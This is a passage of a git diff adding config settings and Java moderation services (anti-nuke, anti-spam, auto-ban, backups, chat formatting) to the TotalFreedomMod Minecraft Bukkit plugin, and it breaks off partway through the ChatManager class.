||||||
nuke_monitor: true
|
|
||||||
nuke_monitor_count_break: 100
|
|
||||||
nuke_monitor_count_place: 25
|
|
||||||
nuke_monitor_range: 10.0
|
|
||||||
freecam_trigger_count: 10
|
|
||||||
|
|
||||||
# Show all attempted commands in the log, will result in duplicate log messages:
|
|
||||||
preprocess_log: true
|
|
||||||
|
|
||||||
# Disable nighttime:
|
|
||||||
disable_night: true
|
|
||||||
|
|
||||||
# Disable weather:
|
|
||||||
disable_weather: true
|
|
||||||
|
|
||||||
# Enable misc. features:
|
|
||||||
landmines_enabled: false
|
|
||||||
mp44_enabled: false
|
|
||||||
tossmob_enabled: false
|
|
||||||
|
|
||||||
# Moblimiter:
|
|
||||||
mob_limiter_enabled: true
|
|
||||||
# Max per world:
|
|
||||||
mob_limiter_max: 50
|
|
||||||
mob_limiter_disable_dragon: true
|
|
||||||
mob_limiter_disable_ghast: true
|
|
||||||
mob_limiter_disable_slime: true
|
|
||||||
mob_limiter_disable_giant: true
|
|
||||||
|
|
||||||
# Flatlands
|
|
||||||
generate_flatlands: true
|
|
||||||
# Flatlands generation parameters, uses CleanroomGenerator syntax - http://dev.bukkit.org/server-mods/cleanroomgenerator/
|
|
||||||
flatlands_generation_params: 16,stone,32,dirt,1,grass
|
|
||||||
|
|
||||||
# Admin-Only Mode
|
|
||||||
admin_only_mode: false
|
|
||||||
|
|
||||||
# Protected Areas - Protect areas so that only superadmins can directly modify blocks in those areas. WorldEdit and other such plugins might bypass this.
|
|
||||||
protected_areas_enabled: true
|
|
||||||
auto_protect_spawnpoints: true
|
|
||||||
auto_protect_radius: 25.0
|
|
||||||
|
|
||||||
# Host Sender Names - Names that indicate automated services or host-based consoles you want to block from using some commands.
|
|
||||||
# Make sure these are all lower-case.
|
|
||||||
host_sender_names:
|
|
||||||
- rcon
|
|
||||||
- remotebukkit
|
|
||||||
|
|
||||||
# TwitterBot - Used to allow superadmins to verify themselves using twitter
|
|
||||||
twitterbot_enabled: false
|
|
||||||
twitterbot_url:
|
|
||||||
twitterbot_secret:
|
|
||||||
|
|
||||||
# Pet Protect - Prevent tamed pets from being killed.
|
|
||||||
pet_protect_enabled: true
|
|
||||||
|
|
||||||
# Logs Registration
|
|
||||||
logs_register_password:
|
|
||||||
logs_register_url:
|
|
88
src/main/java/me/totalfreedom/totalfreedommod/Announcer.java
Normal file
88
src/main/java/me/totalfreedom/totalfreedommod/Announcer.java
Normal file
@ -0,0 +1,88 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
import lombok.Getter;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.scheduler.BukkitTask;
|
||||||
|
|
||||||
|
public class Announcer extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private final List<String> announcements = Lists.newArrayList();
|
||||||
|
@Getter
|
||||||
|
private boolean enabled;
|
||||||
|
@Getter
|
||||||
|
private long interval;
|
||||||
|
@Getter
|
||||||
|
private String prefix;
|
||||||
|
private BukkitTask announcer;
|
||||||
|
|
||||||
|
public Announcer(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
enabled = ConfigEntry.ANNOUNCER_ENABLED.getBoolean();
|
||||||
|
interval = ConfigEntry.ANNOUNCER_INTERVAL.getInteger() * 20L;
|
||||||
|
prefix = FUtil.colorize(ConfigEntry.ANNOUNCER_PREFIX.getString());
|
||||||
|
|
||||||
|
announcements.clear();
|
||||||
|
for (Object announcement : ConfigEntry.ANNOUNCER_ANNOUNCEMENTS.getList())
|
||||||
|
{
|
||||||
|
announcements.add(FUtil.colorize((String) announcement));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!enabled)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
announcer = new BukkitRunnable()
|
||||||
|
{
|
||||||
|
private int current = 0;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
current++;
|
||||||
|
|
||||||
|
if (current >= announcements.size())
|
||||||
|
{
|
||||||
|
current = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
announce(announcements.get(current));
|
||||||
|
}
|
||||||
|
}.runTaskTimer(plugin, interval, interval);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
if (announcer == null)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.cancel(announcer);
|
||||||
|
announcer = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getAnnouncements()
|
||||||
|
{
|
||||||
|
return Collections.unmodifiableList(announcements);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void announce(String message)
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(prefix + message);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
134
src/main/java/me/totalfreedom/totalfreedommod/AntiNuke.java
Normal file
134
src/main/java/me/totalfreedom/totalfreedommod/AntiNuke.java
Normal file
@ -0,0 +1,134 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.block.BlockBreakEvent;
|
||||||
|
import org.bukkit.event.block.BlockPlaceEvent;
|
||||||
|
|
||||||
|
public class AntiNuke extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public AntiNuke(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH, ignoreCancelled = true)
|
||||||
|
public void onBlockBreak(BlockBreakEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
final Location location = event.getBlock().getLocation();
|
||||||
|
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||||
|
|
||||||
|
final Location playerLocation = player.getLocation();
|
||||||
|
|
||||||
|
final double nukeMonitorRange = ConfigEntry.NUKE_MONITOR_RANGE.getDouble();
|
||||||
|
|
||||||
|
boolean outOfRange = false;
|
||||||
|
if (!playerLocation.getWorld().equals(location.getWorld()))
|
||||||
|
{
|
||||||
|
outOfRange = true;
|
||||||
|
}
|
||||||
|
else if (playerLocation.distanceSquared(location) > (nukeMonitorRange * nukeMonitorRange))
|
||||||
|
{
|
||||||
|
outOfRange = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outOfRange)
|
||||||
|
{
|
||||||
|
if (fPlayer.incrementAndGetFreecamDestroyCount() > ConfigEntry.FREECAM_TRIGGER_COUNT.getInteger())
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(player.getName() + " has been flagged for possible freecam nuking.", ChatColor.RED);
|
||||||
|
plugin.ae.autoEject(player, "Freecam (extended range) block breaking is not permitted on this server.");
|
||||||
|
|
||||||
|
fPlayer.resetFreecamDestroyCount();
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fPlayer.incrementAndGetBlockDestroyCount() > ConfigEntry.NUKE_MONITOR_COUNT_BREAK.getInteger())
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(player.getName() + " is breaking blocks too fast!", ChatColor.RED);
|
||||||
|
plugin.ae.autoEject(player, "You are breaking blocks too fast. Nukers are not permitted on this server.");
|
||||||
|
|
||||||
|
fPlayer.resetBlockDestroyCount();
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onBlockPlace(BlockPlaceEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Player player = event.getPlayer();
|
||||||
|
Location blockLocation = event.getBlock().getLocation();
|
||||||
|
FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||||
|
|
||||||
|
Location playerLocation = player.getLocation();
|
||||||
|
|
||||||
|
double nukeMonitorRange = ConfigEntry.NUKE_MONITOR_RANGE.getDouble();
|
||||||
|
|
||||||
|
boolean outOfRange = false;
|
||||||
|
if (!playerLocation.getWorld().equals(blockLocation.getWorld()))
|
||||||
|
{
|
||||||
|
outOfRange = true;
|
||||||
|
}
|
||||||
|
else if (playerLocation.distanceSquared(blockLocation) > (nukeMonitorRange * nukeMonitorRange))
|
||||||
|
{
|
||||||
|
outOfRange = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (outOfRange)
|
||||||
|
{
|
||||||
|
if (fPlayer.incrementAndGetFreecamPlaceCount() > ConfigEntry.FREECAM_TRIGGER_COUNT.getInteger())
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(player.getName() + " has been flagged for possible freecam building.", ChatColor.RED);
|
||||||
|
plugin.ae.autoEject(player, "Freecam (extended range) block building is not permitted on this server.");
|
||||||
|
|
||||||
|
fPlayer.resetFreecamPlaceCount();
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fPlayer.incrementAndGetBlockPlaceCount() > ConfigEntry.NUKE_MONITOR_COUNT_PLACE.getInteger())
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(player.getName() + " is placing blocks too fast!", ChatColor.RED);
|
||||||
|
plugin.ae.autoEject(player, "You are placing blocks too fast.");
|
||||||
|
|
||||||
|
fPlayer.resetBlockPlaceCount();
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
117
src/main/java/me/totalfreedom/totalfreedommod/AntiSpam.java
Normal file
117
src/main/java/me/totalfreedom/totalfreedommod/AntiSpam.java
Normal file
@ -0,0 +1,117 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.AsyncPlayerChatEvent;
|
||||||
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.scheduler.BukkitTask;
|
||||||
|
|
||||||
|
public class AntiSpam extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final int MSG_PER_CYCLE = 8;
|
||||||
|
public static final int TICKS_PER_CYCLE = 2 * 10;
|
||||||
|
//
|
||||||
|
public BukkitTask cycleTask = null;
|
||||||
|
|
||||||
|
public AntiSpam(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
cycle();
|
||||||
|
}
|
||||||
|
}.runTaskTimer(plugin, TICKS_PER_CYCLE, TICKS_PER_CYCLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
FUtil.cancel(cycleTask);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void cycle()
|
||||||
|
{
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
final FPlayer playerdata = plugin.pl.getPlayer(player);
|
||||||
|
|
||||||
|
// TODO: Move each to their own section
|
||||||
|
playerdata.resetMsgCount();
|
||||||
|
playerdata.resetBlockDestroyCount();
|
||||||
|
playerdata.resetBlockPlaceCount();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW)
|
||||||
|
public void onAsyncPlayerChat(AsyncPlayerChatEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
String message = event.getMessage().trim();
|
||||||
|
|
||||||
|
final FPlayer playerdata = plugin.pl.getPlayerSync(player);
|
||||||
|
|
||||||
|
// Check for spam
|
||||||
|
if (playerdata.incrementAndGetMsgCount() > MSG_PER_CYCLE)
|
||||||
|
{
|
||||||
|
FSync.bcastMsg(player.getName() + " was automatically kicked for spamming chat.", ChatColor.RED);
|
||||||
|
FSync.autoEject(player, "Kicked for spamming chat.");
|
||||||
|
|
||||||
|
playerdata.resetMsgCount();
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for message repeat
|
||||||
|
if (playerdata.getLastMessage().equalsIgnoreCase(message))
|
||||||
|
{
|
||||||
|
FSync.playerMsg(player, "Please do not repeat messages.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
playerdata.setLastMessage(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW)
|
||||||
|
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||||
|
{
|
||||||
|
String command = event.getMessage();
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||||
|
fPlayer.setLastCommand(command);
|
||||||
|
|
||||||
|
if (fPlayer.allCommandsBlocked())
|
||||||
|
{
|
||||||
|
FUtil.playerMsg(player, "Your commands have been blocked by an admin.", ChatColor.RED);
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (fPlayer.incrementAndGetMsgCount() > MSG_PER_CYCLE)
|
||||||
|
{
|
||||||
|
FUtil.bcastMsg(player.getName() + " was automatically kicked for spamming commands.", ChatColor.RED);
|
||||||
|
plugin.ae.autoEject(player, "Kicked for spamming commands.");
|
||||||
|
|
||||||
|
fPlayer.resetMsgCount();
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
116
src/main/java/me/totalfreedom/totalfreedommod/AutoEject.java
Normal file
116
src/main/java/me/totalfreedom/totalfreedommod/AutoEject.java
Normal file
@ -0,0 +1,116 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.util.Calendar;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.GregorianCalendar;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.util.Ips;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.GameMode;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
public class AutoEject extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private final Map<String, Integer> ejects = new HashMap<>(); // ip -> amount
|
||||||
|
|
||||||
|
public AutoEject(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public void autoEject(Player player, String kickMessage)
|
||||||
|
{
|
||||||
|
EjectMethod method = EjectMethod.STRIKE_ONE;
|
||||||
|
final String ip = Ips.getIp(player);
|
||||||
|
|
||||||
|
if (!ejects.containsKey(ip))
|
||||||
|
{
|
||||||
|
ejects.put(ip, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int kicks = ejects.get(ip);
|
||||||
|
kicks += 1;
|
||||||
|
|
||||||
|
ejects.put(ip, kicks);
|
||||||
|
|
||||||
|
if (kicks <= 1)
|
||||||
|
{
|
||||||
|
method = EjectMethod.STRIKE_ONE;
|
||||||
|
}
|
||||||
|
else if (kicks == 2)
|
||||||
|
{
|
||||||
|
method = EjectMethod.STRIKE_TWO;
|
||||||
|
}
|
||||||
|
else if (kicks >= 3)
|
||||||
|
{
|
||||||
|
method = EjectMethod.STRIKE_THREE;
|
||||||
|
}
|
||||||
|
|
||||||
|
FLog.info("AutoEject -> name: " + player.getName() + " - player ip: " + ip + " - method: " + method.toString());
|
||||||
|
|
||||||
|
player.setOp(false);
|
||||||
|
player.setGameMode(GameMode.SURVIVAL);
|
||||||
|
player.getInventory().clear();
|
||||||
|
|
||||||
|
switch (method)
|
||||||
|
{
|
||||||
|
case STRIKE_ONE:
|
||||||
|
{
|
||||||
|
final Calendar cal = new GregorianCalendar();
|
||||||
|
cal.add(Calendar.MINUTE, 5);
|
||||||
|
final Date expires = cal.getTime();
|
||||||
|
|
||||||
|
FUtil.bcastMsg(ChatColor.RED + player.getName() + " has been banned for 5 minutes.");
|
||||||
|
|
||||||
|
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), expires, kickMessage));
|
||||||
|
player.kickPlayer(kickMessage);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case STRIKE_TWO:
|
||||||
|
{
|
||||||
|
final Calendar c = new GregorianCalendar();
|
||||||
|
c.add(Calendar.MINUTE, 10);
|
||||||
|
final Date expires = c.getTime();
|
||||||
|
|
||||||
|
FUtil.bcastMsg(ChatColor.RED + player.getName() + " has been banned for 10 minutes.");
|
||||||
|
|
||||||
|
plugin.bm.addBan(Ban.forPlayer(player, Bukkit.getConsoleSender(), expires, kickMessage));
|
||||||
|
player.kickPlayer(kickMessage);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case STRIKE_THREE:
|
||||||
|
{
|
||||||
|
plugin.bm.addBan(Ban.forPlayerFuzzy(player, Bukkit.getConsoleSender(), null, kickMessage));
|
||||||
|
|
||||||
|
FUtil.bcastMsg(ChatColor.RED + player.getName() + " has been banned.");
|
||||||
|
|
||||||
|
player.kickPlayer(kickMessage);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static enum EjectMethod
|
||||||
|
{
|
||||||
|
|
||||||
|
STRIKE_ONE, STRIKE_TWO, STRIKE_THREE;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
74
src/main/java/me/totalfreedom/totalfreedommod/AutoKick.java
Normal file
74
src/main/java/me/totalfreedom/totalfreedommod/AutoKick.java
Normal file
@ -0,0 +1,74 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.scheduler.BukkitTask;
|
||||||
|
|
||||||
|
public class AutoKick extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final long AUTOKICK_RATE = 10 * 20L;
|
||||||
|
//
|
||||||
|
private BukkitTask kickTask = null;
|
||||||
|
private long autoKickTicks;
|
||||||
|
private double autoKickThreshold;
|
||||||
|
|
||||||
|
public AutoKick(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
autoKickTicks = (long) ConfigEntry.AUTOKICK_TIME.getInteger() * 1000L;
|
||||||
|
autoKickThreshold = ConfigEntry.AUTOKICK_THRESHOLD.getDouble();
|
||||||
|
|
||||||
|
if (!ConfigEntry.AUTOKICK_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
kickTask = new BukkitRunnable()
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
autoKickCheck();
|
||||||
|
}
|
||||||
|
}.runTaskTimer(plugin, AUTOKICK_RATE, AUTOKICK_RATE);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
FUtil.cancel(kickTask);
|
||||||
|
kickTask = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void autoKickCheck()
|
||||||
|
{
|
||||||
|
|
||||||
|
final boolean doAwayKickCheck
|
||||||
|
= plugin.esb.isEssentialsEnabled()
|
||||||
|
&& ((server.getOnlinePlayers().size() / server.getMaxPlayers()) > autoKickThreshold);
|
||||||
|
|
||||||
|
if (!doAwayKickCheck)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
final long lastActivity = plugin.esb.getLastActivity(player.getName());
|
||||||
|
if (lastActivity > 0 && lastActivity + autoKickTicks < System.currentTimeMillis())
|
||||||
|
{
|
||||||
|
player.kickPlayer("Automatically kicked by server for inactivity.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,87 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.component.PluginComponent;
|
||||||
|
import net.pravian.aero.config.YamlConfig;
|
||||||
|
import org.bukkit.util.FileUtil;
|
||||||
|
|
||||||
|
public class BackupManager extends PluginComponent<TotalFreedomMod>
|
||||||
|
{
|
||||||
|
|
||||||
|
public BackupManager(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void createBackups(String file)
|
||||||
|
{
|
||||||
|
createBackups(file, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void createBackups(String file, boolean onlyWeekly)
|
||||||
|
{
|
||||||
|
final String save = file.split("\\.")[0];
|
||||||
|
final YamlConfig config = new YamlConfig(plugin, "backup/backup.yml", false);
|
||||||
|
config.load();
|
||||||
|
|
||||||
|
// Weekly
|
||||||
|
if (!config.isInt(save + ".weekly"))
|
||||||
|
{
|
||||||
|
performBackup(file, "weekly");
|
||||||
|
config.set(save + ".weekly", FUtil.getUnixTime());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
int lastBackupWeekly = config.getInt(save + ".weekly");
|
||||||
|
|
||||||
|
if (lastBackupWeekly + 3600 * 24 * 7 < FUtil.getUnixTime())
|
||||||
|
{
|
||||||
|
performBackup(file, "weekly");
|
||||||
|
config.set(save + ".weekly", FUtil.getUnixTime());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onlyWeekly)
|
||||||
|
{
|
||||||
|
config.save();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Daily
|
||||||
|
if (!config.isInt(save + ".daily"))
|
||||||
|
{
|
||||||
|
performBackup(file, "daily");
|
||||||
|
config.set(save + ".daily", FUtil.getUnixTime());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
int lastBackupDaily = config.getInt(save + ".daily");
|
||||||
|
|
||||||
|
if (lastBackupDaily + 3600 * 24 < FUtil.getUnixTime())
|
||||||
|
{
|
||||||
|
performBackup(file, "daily");
|
||||||
|
config.set(save + ".daily", FUtil.getUnixTime());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
config.save();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void performBackup(String file, String type)
|
||||||
|
{
|
||||||
|
FLog.info("Backing up " + file + " to " + file + "." + type + ".bak");
|
||||||
|
final File backupFolder = new File(plugin.getDataFolder(), "backup");
|
||||||
|
|
||||||
|
if (!backupFolder.exists())
|
||||||
|
{
|
||||||
|
backupFolder.mkdirs();
|
||||||
|
}
|
||||||
|
|
||||||
|
final File oldYaml = new File(plugin.getDataFolder(), file);
|
||||||
|
final File newYaml = new File(backupFolder, file + "." + type + ".bak");
|
||||||
|
FileUtil.copy(oldYaml, newYaml);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
128
src/main/java/me/totalfreedom/totalfreedommod/ChatManager.java
Normal file
128
src/main/java/me/totalfreedom/totalfreedommod/ChatManager.java
Normal file
@ -0,0 +1,128 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||||
|
import static me.totalfreedom.totalfreedommod.util.FUtil.playerMsg;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.AsyncPlayerChatEvent;
|
||||||
|
|
||||||
|
public class ChatManager extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public ChatManager(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGHEST, ignoreCancelled = true)
|
||||||
|
public void onPlayerChatFormat(AsyncPlayerChatEvent event)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
handleChatEvent(event);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handleChatEvent(AsyncPlayerChatEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
String message = event.getMessage().trim();
|
||||||
|
|
||||||
|
// Strip color from messages
|
||||||
|
message = ChatColor.stripColor(message);
|
||||||
|
|
||||||
|
// Truncate messages that are too long - 256 characters is vanilla client max
|
||||||
|
if (message.length() > 256)
|
||||||
|
{
|
||||||
|
message = message.substring(0, 256);
|
||||||
|
FSync.playerMsg(player, "Message was shortened because it was too long to send.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for caps
|
||||||
|
if (message.length() >= 6)
|
||||||
|
{
|
||||||
|
int caps = 0;
|
||||||
|
for (char c : message.toCharArray())
|
||||||
|
{
|
||||||
|
if (Character.isUpperCase(c))
|
||||||
|
{
|
||||||
|
caps++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (((float) caps / (float) message.length()) > 0.65) //Compute a ratio so that longer sentences can have more caps.
|
||||||
|
{
|
||||||
|
message = message.toLowerCase();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for adminchat
|
||||||
|
final FPlayer fPlayer = plugin.pl.getPlayerSync(player);
|
||||||
|
if (fPlayer.inAdminChat())
|
||||||
|
{
|
||||||
|
FSync.adminChatMessage(player, message);
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Finally, set message
|
||||||
|
event.setMessage(message);
|
||||||
|
|
||||||
|
// Make format
|
||||||
|
String format = "<%1$s> %2$s";
|
||||||
|
|
||||||
|
String tag = fPlayer.getTag();
|
||||||
|
if (tag != null && !tag.isEmpty())
|
||||||
|
{
|
||||||
|
format = tag.replace("%", "%%") + " " + format;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set format
|
||||||
|
event.setFormat(format);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void adminChat(CommandSender sender, String message)
|
||||||
|
{
|
||||||
|
